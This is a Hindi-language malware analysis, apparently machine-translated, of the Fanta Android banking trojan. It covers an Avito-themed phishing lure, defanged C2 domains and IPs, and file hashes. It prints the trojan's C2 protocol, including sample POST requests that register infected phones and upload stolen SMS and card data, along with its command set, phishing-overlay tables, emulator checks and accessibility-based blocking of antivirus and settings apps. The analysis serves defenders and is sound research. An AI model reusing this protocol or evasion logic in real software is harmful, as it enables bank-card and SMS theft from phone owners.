🥇लेइस्या, फैंटा: पुराने एंड्रॉइड ट्रोजन की नई रणनीति

एक दिन आप एविटो पर कुछ बेचना चाहते हैं और अपने उत्पाद का विस्तृत विवरण (उदाहरण के लिए, एक रैम मॉड्यूल) पोस्ट करके, आपको यह संदेश प्राप्त होगा:

एक बार जब आप लिंक खोलेंगे, तो आपको एक सहज पृष्ठ दिखाई देगा जो आपको, खुश और सफल विक्रेता को सूचित करेगा कि खरीदारी कर ली गई है:

एक बार जब आप "जारी रखें" बटन पर क्लिक करते हैं, तो एक आइकन और एक भरोसेमंद नाम के साथ एक एपीके फ़ाइल आपके एंड्रॉइड डिवाइस पर डाउनलोड हो जाएगी। आपने एक एप्लिकेशन इंस्टॉल किया है, जिसने किसी कारणवश AccessibilityService अधिकारों का अनुरोध किया है, फिर कुछ विंडो दिखाई दीं और तुरंत गायब हो गईं और... बस इतना ही।

आप अपना बैलेंस चेक करने जाते हैं, लेकिन किसी कारण से आपका बैंकिंग ऐप दोबारा आपके कार्ड की जानकारी मांगता है। डेटा दर्ज करने के बाद, कुछ भयानक होता है: किसी कारण से जो अभी भी आपके लिए अस्पष्ट है, आपके खाते से पैसा गायब होना शुरू हो जाता है। आप समस्या को हल करने का प्रयास कर रहे हैं, लेकिन आपका फ़ोन विरोध करता है: यह "बैक" और "होम" कुंजी दबाता है, बंद नहीं होता है और आपको किसी भी सुरक्षा उपाय को सक्रिय करने की अनुमति नहीं देता है। नतीजतन, आप पैसे के बिना रह गए हैं, आपका सामान नहीं खरीदा गया है, आप भ्रमित हैं और आश्चर्य करते हैं: क्या हुआ?

उत्तर सरल है: आप फ्लेक्सनेट परिवार के सदस्य, एंड्रॉइड ट्रोजन फैंटा का शिकार बन गए हैं। यह कैसे हो गया? चलिए अब समझाते हैं.

लेखक: एंड्री पोलोविंकिन, मैलवेयर विश्लेषण में कनिष्ठ विशेषज्ञ, इवान पिसारेव, मैलवेयर विश्लेषण में विशेषज्ञ।

कुछ आँकड़े

एंड्रॉइड ट्रोजन का फ्लेक्सनेट परिवार पहली बार 2015 में जाना गया। गतिविधि की काफी लंबी अवधि में, परिवार का कई उप-प्रजातियों में विस्तार हुआ: फैंटा, लाइमबोट, लिप्टन, आदि। ट्रोजन, साथ ही इससे जुड़ा बुनियादी ढांचा, अभी भी खड़ा नहीं है: नई प्रभावी वितरण योजनाएं विकसित की जा रही हैं - हमारे मामले में, उच्च गुणवत्ता वाले फ़िशिंग पेज एक विशिष्ट उपयोगकर्ता-विक्रेता के उद्देश्य से हैं, और ट्रोजन डेवलपर्स फैशनेबल रुझानों का पालन करते हैं वायरस लेखन - नई कार्यक्षमता जोड़ना जो संक्रमित उपकरणों से अधिक कुशलता से पैसा चुराना और सुरक्षा तंत्र को बायपास करना संभव बनाता है।

इस आलेख में वर्णित अभियान रूस के उपयोगकर्ताओं के लिए लक्षित है; यूक्रेन में बहुत कम संख्या में संक्रमित डिवाइस दर्ज किए गए थे, और कजाकिस्तान और बेलारूस में तो और भी कम संख्या में दर्ज किए गए थे।

भले ही फ्लेक्सनेट 4 वर्षों से अधिक समय से एंड्रॉइड ट्रोजन क्षेत्र में है और कई शोधकर्ताओं द्वारा इसका विस्तार से अध्ययन किया गया है, फिर भी यह अच्छी स्थिति में है। जनवरी 2019 से शुरू होकर, क्षति की संभावित राशि 35 मिलियन रूबल से अधिक है - और यह केवल रूस में अभियानों के लिए है। 2015 में, इस एंड्रॉइड ट्रोजन के विभिन्न संस्करण भूमिगत मंचों पर बेचे गए, जहां विस्तृत विवरण के साथ ट्रोजन का स्रोत कोड भी पाया जा सकता था। इसका मतलब यह है कि दुनिया में नुकसान के आंकड़े और भी प्रभावशाली हैं। ऐसे बूढ़े आदमी के लिए यह कोई बुरा संकेतक नहीं है, है ना?

बिक्री से लेकर धोखे तक

जैसा कि विज्ञापन पोस्ट करने वाली इंटरनेट सेवा एविटो के फ़िशिंग पेज के पहले प्रस्तुत स्क्रीनशॉट से देखा जा सकता है, यह एक विशिष्ट पीड़ित के लिए तैयार किया गया था। जाहिर तौर पर, हमलावर एविटो के पार्सर्स में से एक का उपयोग करते हैं, जो विक्रेता का फोन नंबर और नाम, साथ ही उत्पाद विवरण निकालता है। पेज का विस्तार करने और एपीके फ़ाइल तैयार करने के बाद, पीड़ित को उसके नाम और फ़िशिंग पेज के लिंक के साथ एक एसएमएस भेजा जाता है जिसमें उसके उत्पाद का विवरण और उत्पाद की "बिक्री" से प्राप्त राशि का विवरण होता है। बटन पर क्लिक करने पर, उपयोगकर्ता को एक दुर्भावनापूर्ण एपीके फ़ाइल - फैंटा प्राप्त होती है।

Shcet491[.]ru डोमेन के एक अध्ययन से पता चला है कि यह होस्टिंगर के DNS सर्वर को सौंपा गया है:

ns1.hostinger.ru
ns2.hostinger.ru
ns3.hostinger.ru
ns4.hostinger.ru

डोमेन ज़ोन फ़ाइल में आईपी पते 31.220.23[.]236, 31.220.23[.]243, और 31.220.23[.]235 की ओर इशारा करने वाली प्रविष्टियाँ हैं। हालाँकि, डोमेन का प्राथमिक संसाधन रिकॉर्ड (ए रिकॉर्ड) आईपी पते 178.132.1[.]240 वाले सर्वर की ओर इशारा करता है।

आईपी पता 178.132.1[.]240 नीदरलैंड में स्थित है और होस्टर का है वर्ल्डस्ट्रीम. IP पते 31.220.23[.]235, 31.220.23[.]236 और 31.220.23[.]243 यूके में स्थित हैं और साझा होस्टिंग सर्वर HOSTINGER से संबंधित हैं। रिकार्डर के रूप में उपयोग किया जाता है ओपनप्रोव-आरयू. निम्नलिखित डोमेन भी आईपी पते 178.132.1[.]240 पर हल हो गए:

sdelka-ru[.]ru
तोवर-एवी[.]आरयू
av-tovar[.]ru
ru-sdelka[.]ru
shcet382[.]ru
sdelka221[.]ru
sdelka211[.]ru
vyplata437[.]ru
viplata291[.]ru
perevod273[.]ru
perevod901[.]ru

यह ध्यान दिया जाना चाहिए कि निम्नलिखित प्रारूप में लिंक लगभग सभी डोमेन से उपलब्ध थे:

http://(www.){0,1}<%domain%>/[0-9]{7}

इस टेम्पलेट में एक एसएमएस संदेश का लिंक भी शामिल है। ऐतिहासिक डेटा के आधार पर, यह पाया गया कि एक डोमेन ऊपर वर्णित पैटर्न में कई लिंक से मेल खाता है, जो इंगित करता है कि एक डोमेन का उपयोग कई पीड़ितों को ट्रोजन वितरित करने के लिए किया गया था।

आइए थोड़ा आगे बढ़ें: एसएमएस से एक लिंक के माध्यम से डाउनलोड किया गया ट्रोजन एक नियंत्रण सर्वर के रूप में पते का उपयोग करता है onusedseddohap[.]क्लब. यह डोमेन 2019-03-12 को पंजीकृत किया गया था, और 2019-04-29 से शुरू होकर, एपीके अनुप्रयोगों ने इस डोमेन के साथ इंटरैक्ट किया। वायरसटोटल से प्राप्त आंकड़ों के आधार पर, कुल 109 एप्लिकेशन ने इस सर्वर के साथ इंटरैक्ट किया। डोमेन स्वयं आईपी पते पर हल हो गया 217.23.14 [।] 27, नीदरलैंड में स्थित है और होस्टर के स्वामित्व में है वर्ल्डस्ट्रीम. रिकार्डर के रूप में उपयोग किया जाता है NameCheap. डोमेन भी इस आईपी पते पर हल हो गए बैड-रेकून[.]क्लब (2018-09-25 से शुरू) और बैड-रेकून[.]लाइव (2018-10-25 से प्रारंभ)। डोमेन के साथ बैड-रेकून[.]क्लब 80 से अधिक APK फ़ाइलों के साथ इंटरैक्ट किया गया बैड-रेकून[.]लाइव - 100 से अधिक।

सामान्य तौर पर, हमला इस प्रकार आगे बढ़ता है:

फैंटा के ढक्कन के नीचे क्या है?

कई अन्य एंड्रॉइड ट्रोजन की तरह, फैंटा एसएमएस संदेशों को पढ़ने और भेजने, यूएसएसडी अनुरोध करने और एप्लिकेशन के शीर्ष पर अपनी स्वयं की विंडो प्रदर्शित करने में सक्षम है (बैंकिंग सहित)। हालाँकि, इस परिवार की कार्यक्षमता का शस्त्रागार आ गया है: फैंटा का उपयोग शुरू हो गया है अभिगम्यता सेवा विभिन्न उद्देश्यों के लिए: अन्य अनुप्रयोगों से सूचनाओं की सामग्री को पढ़ना, संक्रमित डिवाइस पर ट्रोजन का पता लगाना और उसके निष्पादन को रोकना आदि। फैंटा एंड्रॉइड के 4.4 से पुराने सभी संस्करणों पर काम करता है। इस लेख में हम निम्नलिखित फैंटा नमूने पर करीब से नज़र डालेंगे:

MD5: 0826bd11b2c130c4c8ac137e395ac2d4
SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb

लॉन्च के तुरंत बाद

लॉन्च के तुरंत बाद, ट्रोजन अपना आइकन छिपा देता है। एप्लिकेशन केवल तभी काम कर सकता है जब संक्रमित डिवाइस का नाम सूची में न हो:

android_x86
VirtualBox
नेक्सस 5X(बुलहेड)
नेक्सस 5(रेजर)

यह जाँच ट्रोजन की मुख्य सेवा में की जाती है - मुख्य सेवा. जब पहली बार लॉन्च किया जाता है, तो एप्लिकेशन के कॉन्फ़िगरेशन पैरामीटर को डिफ़ॉल्ट मानों के लिए प्रारंभ किया जाता है (कॉन्फ़िगरेशन डेटा संग्रहीत करने का प्रारूप और उनके अर्थ पर बाद में चर्चा की जाएगी), और एक नया संक्रमित डिवाइस नियंत्रण सर्वर पर पंजीकृत किया जाता है। संदेश प्रकार के साथ एक HTTP POST अनुरोध सर्वर पर भेजा जाएगा रजिस्टर_बॉट और संक्रमित डिवाइस के बारे में जानकारी (एंड्रॉइड संस्करण, आईएमईआई, फोन नंबर, ऑपरेटर का नाम और देश कोड जिसमें ऑपरेटर पंजीकृत है)। पता नियंत्रण सर्वर के रूप में कार्य करता है hXXp://onuseseddohop[.]club/controller.php. जवाब में, सर्वर फ़ील्ड वाला एक संदेश भेजता है bot_id, bot_pwd, सर्वर - एप्लिकेशन इन मानों को CnC सर्वर के पैरामीटर के रूप में सहेजता है। पैरामीटर सर्वर यदि फ़ील्ड प्राप्त नहीं हुई तो वैकल्पिक: फैंटा पंजीकरण पते का उपयोग करता है - hXXp://onuseseddohop[.]club/controller.php. सीएनसी पते को बदलने के कार्य का उपयोग दो समस्याओं को हल करने के लिए किया जा सकता है: कई सर्वरों के बीच लोड को समान रूप से वितरित करने के लिए (यदि बड़ी संख्या में संक्रमित डिवाइस हैं, तो एक गैर-अनुकूलित वेब सर्वर पर लोड अधिक हो सकता है), और इसका उपयोग करने के लिए भी सीएनसी सर्वरों में से किसी एक की विफलता की स्थिति में एक वैकल्पिक सर्वर।

यदि अनुरोध भेजते समय कोई त्रुटि होती है, तो ट्रोजन 20 सेकंड के बाद पंजीकरण प्रक्रिया को दोहराएगा।

एक बार डिवाइस सफलतापूर्वक पंजीकृत हो जाने पर, फैंटा उपयोगकर्ता को निम्नलिखित संदेश प्रदर्शित करेगा:

महत्वपूर्ण नोट: जिस सेवा को कॉल किया गया है सिस्टम की सुरक्षा — ट्रोजन सेवा का नाम, और बटन पर क्लिक करने के बाद ОК संक्रमित डिवाइस की एक्सेसिबिलिटी सेटिंग्स के साथ एक विंडो खुलेगी, जहां उपयोगकर्ता को दुर्भावनापूर्ण सेवा के लिए एक्सेसिबिलिटी अधिकार देना होगा:

जैसे ही यूजर ऑन करेगा अभिगम्यता सेवा, फैंटा एप्लिकेशन विंडो की सामग्री और उनमें किए गए कार्यों तक पहुंच प्राप्त करता है:

एक्सेसिबिलिटी अधिकार प्राप्त करने के तुरंत बाद, ट्रोजन प्रशासक अधिकारों और सूचनाएं पढ़ने के अधिकारों का अनुरोध करता है:

एक्सेसिबिलिटी सर्विस का उपयोग करते हुए, एप्लिकेशन कीस्ट्रोक्स का अनुकरण करता है, जिससे खुद को सभी आवश्यक अधिकार मिलते हैं।

फैंटा कॉन्फ़िगरेशन डेटा, साथ ही संक्रमित डिवाइस के बारे में प्रक्रिया में एकत्र की गई जानकारी को संग्रहीत करने के लिए आवश्यक कई डेटाबेस इंस्टेंसेस (जिसका वर्णन बाद में किया जाएगा) बनाता है। एकत्रित जानकारी भेजने के लिए, ट्रोजन डेटाबेस से फ़ील्ड डाउनलोड करने और नियंत्रण सर्वर से कमांड प्राप्त करने के लिए डिज़ाइन किया गया एक दोहराव वाला कार्य बनाता है। सीएनसी तक पहुंचने का अंतराल एंड्रॉइड संस्करण के आधार पर निर्धारित किया गया है: 5.1 के मामले में, अंतराल 10 सेकंड होगा, अन्यथा 60 सेकंड।

आदेश प्राप्त करने के लिए, फैंटा एक अनुरोध करता है कार्य प्राप्त करें प्रबंधन सर्वर पर. जवाब में, CnC निम्नलिखित आदेशों में से एक भेज सकता है:

टीम	विवरण
0	एसएमएस संदेश भेजें
1	फ़ोन कॉल करें या यूएसएसडी आदेश दें
2	एक पैरामीटर अद्यतन करता है अंतराल
3	एक पैरामीटर अद्यतन करता है अवरोधन
6	एक पैरामीटर अद्यतन करता है एसएमएस प्रबंधक
9	एसएमएस संदेश एकत्र करना प्रारंभ करें
11	अपने फ़ोन को फ़ैक्टरी सेटिंग्स पर रीसेट करें
12	संवाद बॉक्स निर्माण की लॉगिंग सक्षम/अक्षम करें

फ़ैंटा 70 बैंकिंग ऐप्स, तेज़ भुगतान प्रणालियों और ई-वॉलेट से सूचनाएं भी एकत्र करता है और उन्हें डेटाबेस में संग्रहीत करता है।

कॉन्फ़िगरेशन पैरामीटर संग्रहीत करना

कॉन्फ़िगरेशन मापदंडों को संग्रहीत करने के लिए, फ़ैंटा एंड्रॉइड प्लेटफ़ॉर्म के लिए एक मानक दृष्टिकोण का उपयोग करता है - प्राथमिकताएँ-फ़ाइलें। सेटिंग्स नामक फ़ाइल में सहेजी जाएंगी सेटिंग्स. सहेजे गए पैरामीटर का विवरण नीचे दी गई तालिका में है।

नाम	डिफ़ॉल्ट मान	संभावित मान	विवरण
id	0	पूर्णांक	बॉट आईडी
सर्वर	hXXp://onuseseddohop[.]club/	यूआरएल	सर्वर पता नियंत्रित करें
लोक निर्माण विभाग	-	तार	सर्वर का पासवर्ड
अंतराल	20	पूर्णांक	समय अंतराल। इंगित करता है कि निम्नलिखित कार्यों को कितने समय के लिए स्थगित किया जाना चाहिए: भेजे गए एसएमएस संदेश की स्थिति के बारे में अनुरोध भेजते समय प्रबंधन सर्वर से एक नया आदेश प्राप्त हो रहा है
अवरोधन	सब	सभी/टेलनंबर	यदि फ़ील्ड स्ट्रिंग के बराबर है सब या टेलीफोन का नंबर, तो प्राप्त एसएमएस संदेश एप्लिकेशन द्वारा इंटरसेप्ट कर लिया जाएगा और उपयोगकर्ता को नहीं दिखाया जाएगा
एसएमएस प्रबंधक	0	0/1	एप्लिकेशन को डिफ़ॉल्ट एसएमएस प्राप्तकर्ता के रूप में सक्षम/अक्षम करें
readDialog	असत्य	सही गलत	ईवेंट लॉगिंग सक्षम/अक्षम करें अभिगम्यताघटना

फैंटा भी फ़ाइल का उपयोग करता है एसएमएस प्रबंधक:

नाम	डिफ़ॉल्ट मान	संभावित मान	विवरण
pkg	-	तार	प्रयुक्त एसएमएस संदेश प्रबंधक का नाम

डेटाबेस के साथ सहभागिता

अपने संचालन के दौरान, ट्रोजन दो डेटाबेस का उपयोग करता है। डेटाबेस का नाम दिया गया a फ़ोन से एकत्र की गई विभिन्न सूचनाओं को संग्रहीत करने के लिए उपयोग किया जाता है। दूसरे डेटाबेस का नाम है फैंटा.डीबी और इसका उपयोग बैंक कार्डों के बारे में जानकारी एकत्र करने के लिए डिज़ाइन की गई फ़िशिंग विंडो बनाने के लिए जिम्मेदार सेटिंग्स को सहेजने के लिए किया जाता है।

ट्रोजन डेटाबेस का उपयोग करता है а एकत्रित जानकारी को संग्रहीत करने और अपने कार्यों को लॉग करने के लिए। डेटा को एक तालिका में संग्रहीत किया जाता है लॉग. तालिका बनाने के लिए, निम्न SQL क्वेरी का उपयोग करें:

create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)

डेटाबेस में निम्नलिखित जानकारी है:

1. संक्रमित डिवाइस के स्टार्टअप को एक संदेश के साथ लॉग करना फ़ोन चालू हो गया!

2. आवेदनों से सूचनाएं. संदेश निम्नलिखित टेम्पलेट के अनुसार तैयार किया गया है:

(<%App Name%>)<%Title%>: <%Notification text%>

3. ट्रोजन द्वारा बनाए गए फ़िशिंग फ़ॉर्म से बैंक कार्ड डेटा। पैरामीटर VIEW_NAME निम्नलिखित में से एक हो सकता है:

AliExpress
Avito
गूगल प्ले
विविध <%ऐप नाम%>

संदेश इस प्रारूप में लॉग किया गया है:

[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) Номер карты:<%CARD_NUMBER%>; Дата:<%MONTH%>/<%YEAR%>; CVV: <%CVV%>

4. इनकमिंग/आउटगोइंग एसएमएस संदेश इस प्रारूप में:

([<%Time in format HH:mm:ss dd.MM.yyyy%>] Тип: Входящее/Исходящее) <%Mobile number%>:<%SMS-text%>

5. उस पैकेज के बारे में जानकारी जो प्रारूप में संवाद बॉक्स बनाता है:

(<%Package name%>)<%Package information%>

उदाहरण तालिका लॉग:

फैंटा की कार्यक्षमता में से एक बैंक कार्ड के बारे में जानकारी का संग्रह है। बैंकिंग एप्लिकेशन खोलते समय फ़िशिंग विंडो के निर्माण के माध्यम से डेटा संग्रह होता है। ट्रोजन फ़िशिंग विंडो केवल एक बार बनाता है। उपयोगकर्ता को जो विंडो दिखाई गई थी, वह जानकारी एक तालिका में संग्रहीत है सेटिंग्स डेटाबेस में फैंटा.डीबी. डेटाबेस बनाने के लिए, निम्न SQL क्वेरी का उपयोग करें:

create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);

सभी टेबल फ़ील्ड सेटिंग्स डिफ़ॉल्ट रूप से 1 से प्रारंभ किया गया (एक फ़िशिंग विंडो बनाएं)। उपयोगकर्ता द्वारा अपना डेटा दर्ज करने के बाद, मान 0 पर सेट किया जाएगा। तालिका फ़ील्ड का उदाहरण सेटिंग्स:

लॉगिन कर सकते हैं — बैंकिंग एप्लिकेशन खोलते समय फॉर्म प्रदर्शित करने के लिए फ़ील्ड जिम्मेदार है
पहला_बैंक - उपयोग नहीं किया
can_avito - एविटो एप्लिकेशन खोलते समय फॉर्म प्रदर्शित करने के लिए फ़ील्ड जिम्मेदार है
can_ali — फ़ील्ड Aliexpress एप्लिकेशन खोलते समय फॉर्म प्रदर्शित करने के लिए जिम्मेदार है
दूसरा कर सकते हैं — फ़ील्ड सूची से कोई भी एप्लिकेशन खोलते समय फ़ॉर्म प्रदर्शित करने के लिए ज़िम्मेदार है: युला, पांडाओ, ड्रोम ऑटो, वॉलेट। डिस्काउंट और बोनस कार्ड, एविएसेल्स, बुकिंग, ट्रिवागो
can_card — फ़ील्ड खोलते समय फॉर्म प्रदर्शित करने के लिए जिम्मेदार है गूगल प्ले

प्रबंधन सर्वर के साथ सहभागिता

प्रबंधन सर्वर के साथ नेटवर्क इंटरैक्शन HTTP प्रोटोकॉल के माध्यम से होता है। नेटवर्क के साथ काम करने के लिए, फैंटा लोकप्रिय रेट्रोफिट लाइब्रेरी का उपयोग करता है। अनुरोध यहां भेजे जाते हैं: hXXp://onuseseddohop[.]club/controller.php. सर्वर पर पंजीकरण करते समय सर्वर का पता बदला जा सकता है। सर्वर से प्रत्युत्तर में कुकीज़ भेजी जा सकती हैं। फैंटा सर्वर से निम्नलिखित अनुरोध करता है:

नियंत्रण सर्वर पर बॉट का पंजीकरण पहली बार लॉन्च होने पर एक बार होता है। संक्रमित डिवाइस के बारे में निम्नलिखित डेटा सर्वर पर भेजा जाता है:
· कुकीज - सर्वर से प्राप्त कुकीज़ (डिफ़ॉल्ट मान एक खाली स्ट्रिंग है)
· मोड - स्ट्रिंग स्थिरांक रजिस्टर_बॉट
· उपसर्ग - पूर्णांक स्थिरांक 2
· संस्करण_एसडीके — निम्नलिखित टेम्पलेट के अनुसार बनता है: <%Build.MODEL%>/<%Build.VERSION.RELEASE%>(Avit)
· आईएमईआई - संक्रमित डिवाइस का IMEI
· देश — उस देश का कोड जिसमें ऑपरेटर पंजीकृत है, आईएसओ प्रारूप में
· संख्या - फ़ोन नंबर
· ऑपरेटर - ऑपरेटर का नाम

सर्वर को भेजे गए अनुरोध का एक उदाहरण:
```
POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>
```
अनुरोध के जवाब में, सर्वर को निम्नलिखित मापदंडों वाला एक JSON ऑब्जेक्ट वापस करना होगा:
· bot_id - संक्रमित डिवाइस की आईडी। यदि bot_id 0 के बराबर है, तो फैंटा अनुरोध को फिर से निष्पादित करेगा।
bot_pwd - सर्वर के लिए पासवर्ड.
सर्वर - सर्वर पता नियंत्रित करें। वैकल्पिक पैरामीटर. यदि पैरामीटर निर्दिष्ट नहीं है, तो एप्लिकेशन में सहेजे गए पते का उपयोग किया जाएगा।

उदाहरण JSON ऑब्जेक्ट:
```
{
    "response":[
   	 {
   		 "bot_id": <%BOT_ID%>,
   		 "bot_pwd": <%BOT_PWD%>,
   		 "server": <%SERVER%>
   	 }
    ],
    "status":"ok"
}
```

सर्वर से कमांड प्राप्त करने का अनुरोध करें। निम्नलिखित डेटा सर्वर पर भेजा जाता है:
· कुकीज - सर्वर से प्राप्त कुकीज़
· बोली - संक्रमित डिवाइस की आईडी जो अनुरोध भेजते समय प्राप्त हुई थी रजिस्टर_बॉट
· लोक निर्माण विभाग -सर्वर के लिए पासवर्ड
· divice_admin - फ़ील्ड निर्धारित करती है कि व्यवस्थापक अधिकार प्राप्त कर लिए गए हैं या नहीं। यदि व्यवस्थापक अधिकार प्राप्त हो गए हैं, तो फ़ील्ड बराबर है 1, अन्यथा 0
· अभिगम्यता - अभिगम्यता सेवा परिचालन स्थिति। यदि सेवा शुरू की गई थी, तो मूल्य है 1, अन्यथा 0
· एसएमएस प्रबंधक - दिखाता है कि एसएमएस प्राप्त करने के लिए ट्रोजन डिफ़ॉल्ट एप्लिकेशन के रूप में सक्षम है या नहीं
· स्क्रीन - प्रदर्शित करता है कि स्क्रीन किस स्थिति में है। मान निर्धारित किया जाएगा 1, यदि स्क्रीन चालू है, अन्यथा 0;

सर्वर को भेजे गए अनुरोध का एक उदाहरण:
```
POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>
```
कमांड के आधार पर, सर्वर विभिन्न मापदंडों के साथ JSON ऑब्जेक्ट लौटा सकता है:

· टीम एसएमएस संदेश भेजें: पैरामीटर में फ़ोन नंबर, एसएमएस संदेश का पाठ और भेजे जा रहे संदेश की आईडी शामिल होती है। सर्वर पर प्रकार के साथ संदेश भेजते समय पहचानकर्ता का उपयोग किया जाता है setSmsStatus.
```
{
    "response":
    [
   	 {
   		 "mode": 0,
   		 "sms_number": <%SMS_NUMBER%>,
   		 "sms_text": <%SMS_TEXT%>,
   		 "sms_id": %SMS_ID%
   	 }
    ],
    "status":"ok"
}
```
· टीम फ़ोन कॉल करें या यूएसएसडी आदेश दें: फोन नंबर या कमांड रिस्पांस बॉडी में आता है।
```
{
    "response":
    [
   	 {
   		 "mode": 1,
   		 "command": <%TEL_NUMBER%>
   	 }
    ],
    "status":"ok"
}
```
· टीम अंतराल पैरामीटर बदलें.
```
{
    "response":
    [
   	 {
   		 "mode": 2,
   		 "interval": <%SECONDS%>
   	 }
    ],
    "status":"ok"
}
```
· टीम इंटरसेप्ट पैरामीटर बदलें.
```
{
    "response":
    [
   	 {
   		 "mode": 3,
   		 "intercept": "all"/"telNumber"/<%ANY_STRING%>
   	 }
    ],
    "status":"ok"
}
```
· टीम एसएमएस प्रबंधक फ़ील्ड बदलें.
```
{
    "response":
    [
   	 {
   		 "mode": 6,
   		 "enable": 0/1
   	 }
    ],
    "status":"ok"
}
```
· टीम किसी संक्रमित डिवाइस से एसएमएस संदेश एकत्र करें.
```
{
    "response":
    [
   	 {
   		 "mode": 9
   	 }
    ],
    "status":"ok"
}
```
· टीम अपने फ़ोन को फ़ैक्टरी सेटिंग्स पर रीसेट करें:
```
{
    "response":
    [
   	 {
   		 "mode": 11
   	 }
    ],
    "status":"ok"
}
```
· टीम ReadDialog पैरामीटर बदलें.
```
{
    "response":
    [
   	 {
   		 "mode": 12,
   		 "enable": 0/1
   	 }
    ],
    "status":"ok"
}
```

प्रकार सहित संदेश भेजना setSmsStatus. यह अनुरोध कमांड निष्पादित होने के बाद किया जाता है एसएमएस संदेश भेजें. अनुरोध इस प्रकार दिखता है:

POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>

डेटाबेस सामग्री अपलोड करना. प्रति अनुरोध एक पंक्ति प्रसारित की जाती है। निम्नलिखित डेटा सर्वर पर भेजा जाता है:
· कुकीज - सर्वर से प्राप्त कुकीज़
· मोड - स्ट्रिंग स्थिरांक setSaveInboxSms
· बोली - संक्रमित डिवाइस की आईडी जो अनुरोध भेजते समय प्राप्त हुई थी रजिस्टर_बॉट
· टेक्स्ट - वर्तमान डेटाबेस रिकॉर्ड में पाठ (फ़ील्ड d मेज से लॉग डेटाबेस में а)
· संख्या - वर्तमान डेटाबेस रिकॉर्ड का नाम (फ़ील्ड p मेज से लॉग डेटाबेस में а)
· एसएमएस_मोड - पूर्णांक मान (फ़ील्ड m मेज से लॉग डेटाबेस में а)

अनुरोध इस प्रकार दिखता है:
```
POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0

mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>
```
यदि सफलतापूर्वक सर्वर पर भेजा जाता है, तो पंक्ति तालिका से हटा दी जाएगी। सर्वर द्वारा लौटाए गए JSON ऑब्जेक्ट का उदाहरण:
```
{
    "response":[],
    "status":"ok"
}
```

एक्सेसिबिलिटी सर्विस के साथ इंटरैक्ट करना

विकलांग लोगों के लिए एंड्रॉइड डिवाइस का उपयोग आसान बनाने के लिए एक्सेसिबिलिटी सर्विस लागू की गई थी। अधिकांश मामलों में, किसी एप्लिकेशन के साथ इंटरैक्ट करने के लिए भौतिक इंटरैक्शन की आवश्यकता होती है। एक्सेसिबिलिटी सर्विस आपको उन्हें प्रोग्रामेटिक रूप से करने की अनुमति देती है। फैंटा इस सेवा का उपयोग बैंकिंग अनुप्रयोगों में नकली विंडो बनाने और उपयोगकर्ताओं को सिस्टम सेटिंग्स और कुछ एप्लिकेशन खोलने से रोकने के लिए करता है।

एक्सेसिबिलिटी सर्विस की कार्यक्षमता का उपयोग करते हुए, ट्रोजन संक्रमित डिवाइस की स्क्रीन पर तत्वों में परिवर्तन की निगरानी करता है। जैसा कि पहले बताया गया है, फैंटा सेटिंग्स में डायलॉग बॉक्स के साथ लॉगिंग संचालन के लिए जिम्मेदार एक पैरामीटर होता है - readDialog. यदि यह पैरामीटर सेट किया गया है, तो इवेंट को ट्रिगर करने वाले पैकेज के नाम और विवरण के बारे में जानकारी डेटाबेस में जोड़ दी जाएगी। इवेंट ट्रिगर होने पर ट्रोजन निम्नलिखित क्रियाएं करता है:

निम्नलिखित मामलों में पीछे और घर की कुंजी दबाने का अनुकरण करता है:
· यदि उपयोगकर्ता अपने डिवाइस को रीबूट करना चाहता है
· यदि उपयोगकर्ता "एविटो" एप्लिकेशन को हटाना चाहता है या एक्सेस अधिकार बदलना चाहता है
· यदि पृष्ठ पर "एविटो" एप्लिकेशन का उल्लेख है
· Google Play प्रोटेक्ट एप्लिकेशन खोलते समय
· AccessibilityService सेटिंग्स वाले पेज खोलते समय
· जब सिस्टम सुरक्षा संवाद बॉक्स प्रकट होता है
· "ड्रा ओवर अदर ऐप" सेटिंग्स के साथ पेज खोलते समय
· "एप्लिकेशन" पृष्ठ खोलते समय, "पुनर्प्राप्ति और रीसेट", "डेटा रीसेट", "सेटिंग्स रीसेट करें", "डेवलपर पैनल", "विशेष"। अवसर”, “विशेष अवसर”, “विशेष अधिकार”
· यदि ईवेंट कुछ अनुप्रयोगों द्वारा उत्पन्न किया गया था।

आवेदनों की सूची
- एंड्रॉयड
- मास्टर लाइट
- स्वच्छ मास्टर
- x86 सीपीयू के लिए क्लीन मास्टर
- Meizu एप्लिकेशन अनुमति प्रबंधन
- एमआईयूआई सुरक्षा
- क्लीन मास्टर - एंटीवायरस और कैश तथा गारबेज क्लीनर
- माता-पिता का नियंत्रण और जीपीएस: कैस्पर्सकी सेफकिड्स
- कैसपर्सकी एंटीवायरस ऐपलॉक और वेब सुरक्षा बीटा
- वायरस क्लीनर, एंटीवायरस, क्लीनर (मैक्स सिक्योरिटी)
- मोबाइल एंटीवायरस सुरक्षा प्रो
- अवास्ट एंटीवायरस और मुफ्त सुरक्षा 2019
- मोबाइल सुरक्षा मेगाफोन
- एक्सपीरिया के लिए एवीजी सुरक्षा
- मोबाइल सुरक्षा
- मैलवेयरबाइट्स एंटीवायरस और सुरक्षा
